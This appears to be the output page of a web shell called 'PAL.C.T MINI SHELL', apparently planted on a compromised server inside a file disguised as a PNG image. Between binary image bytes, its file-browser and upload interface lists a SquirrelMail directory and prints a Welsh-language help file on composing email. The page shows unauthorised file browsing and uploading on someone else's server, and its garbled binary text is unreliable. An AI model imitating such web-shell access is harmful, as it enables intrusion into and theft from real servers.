php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/help/cy_GB/
upload
files >> //proc/self/root/usr/share/squirrelmail/help/cy_GB/compose.hlp

<chapter>
   <title>
      Compose
   </title>
   <summary>
     Maer nodwedd yma yn fodd i chi anfon negesau i wahanol bobl o SquirrelMail.
   </summary>
   <description>
      <p>
      Bydd y ddewislen Compose yn mynd â chi i dudalen Compose newydd. Yma 
      byddwch yn dod o hyd i sawl maes ac un neu ddau o fotymau. Gan ddibynnu 
      ar sut y gwnaethoch chi gyrraedd y man gweld Compose, efallai y bydd 
      rhai or meysydd yma wedi cael eu llenwin barod.
      </p>
   </description>
</chapter>

<section>
   <title>
      From
   </title>
   <description>
      <p>
      Dim ond os byddwch chi wedi galluogi  mwy nag un dynodiad (trwyr 
      ddewislen Options, Personal Preferences) y bydd y maes <b>From:</b> yn 
      cael ei arddangos. Os ydych chi wedi gwneud hyn gallwch ddewis pa 
      ddynodiad yr hoffech chi ei ddefnyddio, h.y. pa enw a chyfeiriad 
      e-bost syn ymddangos fel y llinell From ar eich negesau.
      </p>
   </description>
</section>

<section>
   <title>
      To
   </title>
   <description>
      <p>
      Yn dilyn y maer maes <b>To:</b>. Yn y maes yma dylech deipio 
      cyfeiriad e-bost yr unigolyn neur bobl rydych chin anfon y neges 
      atynt. Gallwch deipio cynifer o gyfeiriadau ag y dymunwch, gan 
      eu gwahanu ag atalnod. Gallwch hefyd bwysor botwm "Addresses" i 
      lenwir maes. Peidiwch â phoeni os nad ywr cyfeiriad cyflawn yn 
      cael ei arddangos. Mae hyd y maes yn un penodol, ond bydd popeth 
      a rowch chi i mewn ynddo yn cael ei ddefnyddio, er y gall sgrolio 
      ir dde neu ir chwith.
      </p>
   </description>
</section>

<section>
   <title>
      Cc
   </title>
   <description>
      <p>
      Yn dilyn hwnnw y maer maes <b>CC:</b>. Talfyriad am <b>C</b>arbon 
      <b>C</b>opy yw CC. Os ydych chi eisiau anfon copi or neges i rywun 
      arall dyma lle y byddech chin gwneud hynny. Meddyliwch am hyn yn 
      yr un modd ag y mae memo yn cael ei osod. Gallwch gynnwys cynifer 
      o bobl ag y dymunwch yn y meysydd <b>To:</b>, <b>CC:</b>, a 
      <b>BCC:</b>. Dim ond y bobl syn cael eu heffeithion uniongyrchol 
      gan y neges fyddai yn y maes <b>To:</b> tra byddair rhai syn 
      derbyn y neges er gwybodaeth yn unig o bosib yn y meysydd 
      <b>CC:</b> a <b>BCC:</b>.
      </p>
   </description>
</section>

<section>
   <title>
      Bcc
   </title>
   <description>
      <p>
      Talfyriad am <b>B</b>lind </b>C</b>arbon <b>C</b>opy yw BCC. 
      Defnyddiwch hwn i anfon copi or e-bost i rywun <i>heb</i> ir rhai 
      y mae eu henwau yn y meysydd <b>To:</b> neu <b>CC:</b> wybod amdano.
      </p>
   </description>
</section>

<section>
   <title>
      Subject
   </title>
   <description>
      <p>
      Teipiwch bennawd perthnasol yma. Cofiwch, gall e-bost arbed 
      llawer iawn o amser ac un rheswm allweddol am hyn yw pennawd 
      testun cywir.
      </p>
   </description>
</section>

<section>
   <title>
      Addresses Button
   </title>
   <description>
      <p>
      Bydd y botwm yma yn agor y llyfr cyfeiriadau wedi i flwch 
      chwilio gael ei gyflwyno.. Maen rhaid i chi deipio rhywbeth i 
      mewn ir blwch chwilio er mwyn cael canlyniad. Os ydych chi 
      angen yr holl gyfeiriadau yn y llyfr cyfeiriadau, pwyswch y 
      botwm List All. Mae gan y llyfr cyfeiriadau gymaint o 
      swyddogaethau fel ei fod yn haeddu ei adran ei hun. Mae mwy o 
      wybodaeth fanwl ar gael yn y bennod Cyfeiriadau.
      </p>
   </description>
</section>

<section>
   <title>
      Save Draft button
   </title>
   <description>
      <p>
      Os fuoch chin cyfansoddi neges ac nad ydych chin barod iw anfon 
      eto am ryw reswm, gallwch ddefnyddior botwm yma i gadwr
      neges yn y ffolder Drafts. Os fyddwch chi eisiau cwblhaur neges 
      yn ddiweddarach ai anfon allan, ewch ir ffolder Drafts, agorwch 
      y neges a byddwch yn dychwelyd ir dudalen Compose lle mae eich 
      neges wedi ei llenwi i mewn.
      </p>
   </description>
</section>

<section>
   <title>
      Priority
   </title>
   <description>
      <p>
      Os yw gweinyddwr eich system wedi ei alluogi, bydd rhestr gwympo 
      or enw "Priority" ar gael ir dde or botymau. Dyma lle gallwch 
      ddewis pa mor bwysig ywr neges. Gallai neges â blaenoriaeth uchel 
      gael ei chyflwyno mewn dull gwahanol gan raglen bost y sawl syn 
      ei dderbyn. Sylwch y bydd gor-ddefnyddior swyddogaeth yma yn 
      golygu na fydd yn cael yr un effaith.
      </p>
   </description>
</section>

<section>
   <title>
      Message Body
   </title>
   <description>
      <p>
      Diben y blwch mawr gwag yw cynnwys unrhyw beth y dymunwch ei roi 
      ynddo. Os oes ffeil lofnod wedi ei chadw bydd honnon ymddangos 
      yma hefyd. Dyma lle rydych yn teipio prif ran eich neges.
      </p>
   </description>
</section>

<section>
   <title>
      Attach
   </title>
   <description>
      <p>
      Ar waelod y dudalen Compose, maer nodwedd yma yn eich galluogi 
      i gynnwys ffeil gydach e-bost. Rhaid ir ffeil yma fod wedi ei 
      lleoli ar eich peiriant neu rwydwaith <i>lleol</i> os am ei 
      atodi. Mae botwm  pori ar gael felly gallwch chwilio drwy 
      strwythur eich cyfeiriaduron a chlicio ar y ffeil sydd iw 
      chynnwys. Fel arall gallwch deipion uniongyrchol i mewn ir 
      maes atodi os ydych chin gwybod beth yw enwr llwybr cyfan 
      ac union enwr ffeil. Y cyfan sydd yn rhaid i chi ei wneud yw 
      pwysor botwm Add i restrur ffeil a ddewiswyd yn atodiad a 
      bydd yn ymddangos oddi tano.
      </p>
      <p>
      Unwaith y bydd un ffeil o leiaf yn cael ei chyflwyno iw hatodi 
      bydd botwm arall yn dod ir golwg. Gallwch ddileu un ffeil neu 
      ragor a atodwyd trwy ddewis y ffeil neu ffeiliau tramgwyddus a 
      phwysor botwm dileu atodiadau. a ddewiswyd.
      <p>
   </description>
</section>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`